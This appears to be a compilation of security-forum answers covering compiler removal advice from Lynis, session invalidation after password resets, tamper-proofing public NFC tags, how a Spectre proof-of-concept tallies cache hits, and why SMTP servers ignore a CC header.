Given that it provides a mechanism for user tracking/de-anonymization without relying on client side persistence, it is unlikely to be viable in the long term as a means of ensuring session integrity.


How do I harden compilers (as suggested by Lynis)?

Security is always a balance between ease of use and protection. The most secure system I can imagine is a switched off computer lying in a bank safe. Unfortunately it is also hard to use... Removing compilers or worse restricting them to root on a test or dev system would be nonsense: either you can no longer use it, or you will always log in as root. Things go differently on a production only server where they can normally be removed.

But I can hardly imagine how removing a compiler could secure an Ubuntu server. As for any Debian-like systems, packages are generally installed in binary form, meaning that if an attacker has write access to a folder, he can deposit a program built on his own machine and use it there. And if he has no write access, it will not be able to build an executable file either.

This advice, as many other on security by obfuscation looks like snake oil. That should not cause many harm, but won't really secure anything either... But it is something that is easy to implement in a automatic auditing tools, and can be sold

If you really want to secure a production server, don't focus on compilers, but carefully remove all network (and generic) tools that are not used there, and configure the firewalls to block as many incoming and outgoing connections as possible: if one server was compromised, it will really be harder for the attacker to bounce onto another one. But this cannot be done by an automatic tool because it must be adapted to the actual environment and precise use case of the server. Once this is done, it is possible that the compilers will already have gone away but honestly I would not care. If you want to go one step further, also build a custom kernel containing only drivers used in your environment - ok, you cannot build a kernel if you have removed compilers, but it should be built and tested on the dev or pre-prod system. That way script kiddies trying to use usual kernel addresses won't be able to find them.

TL/DR: my advice is that you do not know what compiler can safely be removed or how you could restrict them to root, do not even try to do it. Just follow the common best practices:

never use root account for anything that does not require it
only sudo individual commands or for a short time
never let a server running as root (except for its initialization time...) and ensure that it leaves all unnecessary privileges before accepting requests
secure your firewall the best you can and forbid all unnecessary accesses
do not install unnecessary or non controlled software

And do not trust automatic auditing tools for more than they can do. A serious security audit really costs time and money...


CSRF is a solved problem. See CSRF Prevention Cheat Sheet on owasp.


Why should you redirect the user to a login page after a password reset?

Lets say an attacker has your password. You log in and reset it. If the reset doesn't invalidate all existing sessions, the attacker still has access, as long as they don't let their session expire.

The reset hasn't actually achieved anything in this scenario.

Depending on what the site does, there could also be issues with having you signed in under a password which is now out of date. Lets say your password is used to unlock something, you are signed in with "password1", but the server now has your password saved as "password2", what happens? This is obviously hypothetical, but hopefully illustrates the point.

Redirecting to the login screen I guess is just a recommendation. I'm not sure why it matters where you send the user, but from a usability point of view it makes more sense to send the user to a login page rather than the home page.


How to protect publicly placed NFC tags?

The two problems you are facing with NFC tags is either preventing a re-write of the tag by a malicious user, or the NFC tag being replaced by a malicious one in the advertisement.

The first problem can be resolved by using read-only NFC tags. These cannot be reprogrammed and thus thwart any attempts to modify the NFC tag contents.

The second issue is a bit harder to prevent and depends on the physical security of the advertisement. Embedding the NFC tag in such a way that it cannot be removed or, when removed, would invalidate the advertisement is one way to go. This is however specific to what that advertisement would look like. I would imagine if it's just a piece of paper, the NFC tag should be embedded in that piece of paper in such a way that if removed, the advertisement would have to be torn apart or something to that accord.


Spectre: Problem with Understanding POC - Reading data from cache

what exercise has results[]

It is not an exact art. The cache may be hit for an index which is not the one hit by victim_function. The threshold might lead to borderline results.

So the code runs the attack 999 times and increments results[mix_i] when it thinks there is a cache hit. It then selects the result with the highest result value (most expected cache hits) and assumes that is the correct value for the victim byte.

  why mix_i hits the cache when it represents the byte at the address of the cache hit?

mix_i is just a way of shuffling i.

for (i = 0; i < 256; i++) {
    mix_i = ((i * 167) + 13) & 255;
    ...
}

The above results in mix_i being initialised as each value between 0-255 once only but not in the order 0,1,2,3 (as i is). This is done for the reason stated in the comments - to prevent stride prediction;


Simple case: You do not send the email to victim@test.com.

The headers of the email are not used by the SMTP server.

You add a CC: to the email header but the SMTP server does not read this header.

The SMTP server only sees what you transmit with your line smtpserver.sendmail(user, to, msg).

Basically the communication is as follows (S: server, C: client) (the TLS and authentication part is left out) (parts in brackets [] are comments by me) based on your script:

C: EHLO
S: 220 smtp.zoho.com
C: MAIL FROM: <sender@test.com> [the address user]
S: 250 OK
C: RCPT TO: <recipient@test.com> [the address to]
S: 250 OK
C: DATA [your msg follows]
   To: recipient@test.com
   From: sender@test.com
   cc:victim@test.com
   Subject:testing
    test 5

   .
S: 250 OK
C: QUIT
S: 221 Good Bye

The mail server only respects the part RCPT TO:. Everthing else (between DATA and .) is only data and no scanned/parsed by the SMTP server.

To send the email to someone else you have to add a second command with RCPT TO:. This must be done with another call to smtpserver.sendmail(). As I don't know the library used I cannot tell you if you have to create a second call or if there is a call with a list of recipients.

Note also that you can send the email to someone without adding the recipient to the header (this is used for BCC for example).